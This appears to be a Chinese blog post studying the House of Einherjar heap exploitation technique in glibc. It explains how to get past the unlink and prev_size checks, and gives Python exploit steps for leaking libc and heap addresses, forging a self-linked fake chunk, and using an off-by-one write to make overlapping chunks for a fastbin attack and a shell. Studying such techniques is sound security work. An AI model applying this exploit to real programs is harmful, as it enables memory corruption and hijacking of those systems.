利用简单,甚至可实现任意地址malloc。
前言
之前学off-by-null的时候,经典的做法是通过覆盖prev-inuse位,释放后造成堆块重叠再进行后续利用。而house of enherjar相比与off-by-null,需要泄露堆地址,条件更宽裕,能够实现更强的效果。
好久没写博客了,但其实学习没有停下,趁着回头巩固,补一补笔记。
一、基本原理
我们知道,如果一块被申请的(且大小不在fastbin范围、无tcachebin或tcachebin填满)malloc chunk 释放时,如果前一块被标记为 free chunk,则会进行向前合并的操作。
现在如果我们对各chunk的控制字段略加修改(即拥有堆溢出、任意地址写、UAF等条件),那我们就可能造成对于一些数据的覆盖,即overlapping。这是因为ptmalloc2堆管理机制下,向前合并时,判断前一个chunk是否释放、前一个chunk的位置,分别是通过chunk控制字段的prev_inuse位和prev_size位找到的。
二、具体分析
1、释放smallbin大小的chunk,判断向前合并条件是prev-inuse位为0
2、寻找前一个chunk的位置通过prevsize来定位(prev-inuse置0时,本字段启用)
因此我们需要修改(严格的方式是溢出一个字节null),并设置prevsize为合适大小
3、合并时,将prev-chunk从链表中unlink下来,有一些检查和判断
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
malloc_printerr(check_action, "corrupted double-linked list", P, AV);
只需要将fake_chunk的fd和bk指向fake_chunk本身即可绕过
4、glibc2.26后,prevchunk的size回合prevchunk.nextchunk的size进行检查(而不是malloc chunk 和 prevchunk.nextchunk的size进行检查)
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))
malloc_printerr("corrupted size vs. prev_size");
5、glibc2.29及以后,检查了prevsize和prevchunk.size是否相等
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
为此我们大概布局如下:
glibc2.26以后,会增加检查;通过如下方式绕过。
其中箭头出的方向表示由该数据开始索引,箭头指向的地方标识索引到的位置。下面两个黄色箭头标识这两个数据要对应相等,且先后索引关系为箭头方向。
这里即,满足fake_size寻址到下一个chunk的prevsize,两者需要相等。
glibc2.29及以后,检查变严苛;这里从当前chunk索引到前一个chunk,比较prevsize和size。也就是说,prevsize必须等于fakechunk的fakesize了。
三、调试分析
首先leak libc 和 heap 备用
add(0,0x208)
add(1,0x68)
add(2,0x1f8)
add(3,0x68)
delete(0)
delete(2)
# leak libc
show(0)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x3c4b78
success(hex(libc.address))
# leak heap
edit(2,1,b'a')
show(2)
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & ~0xfff
edit(2,1,b'\x00')
success(hex(heap_base))
然后布局fake_chunk
payload=b''
payload+=p64(0) #prevsize
payload+=p64(0x200+0x70+0x1) #size
payload+=p64(heap_base+0x10) #fd
payload+=p64(heap_base+0x10) #bk
edit(0,len(payload),payload)
然后通过off-by-one修改即将释放chunk的控制头字段
让我们看一下这样形成的chunk关系:
继续,释放掉堆块,构成overlapping
此时已经完成攻击,现在堆块布局如下:
接下来只需要释放overlapping的中间的malloc chunk,然后通过切割unsortedbin中的合并的大chunk,实现对fastbin中chunk的数据修改,完成fastbin attack。当然这只是一种利用House of Einherjar的getshell思路。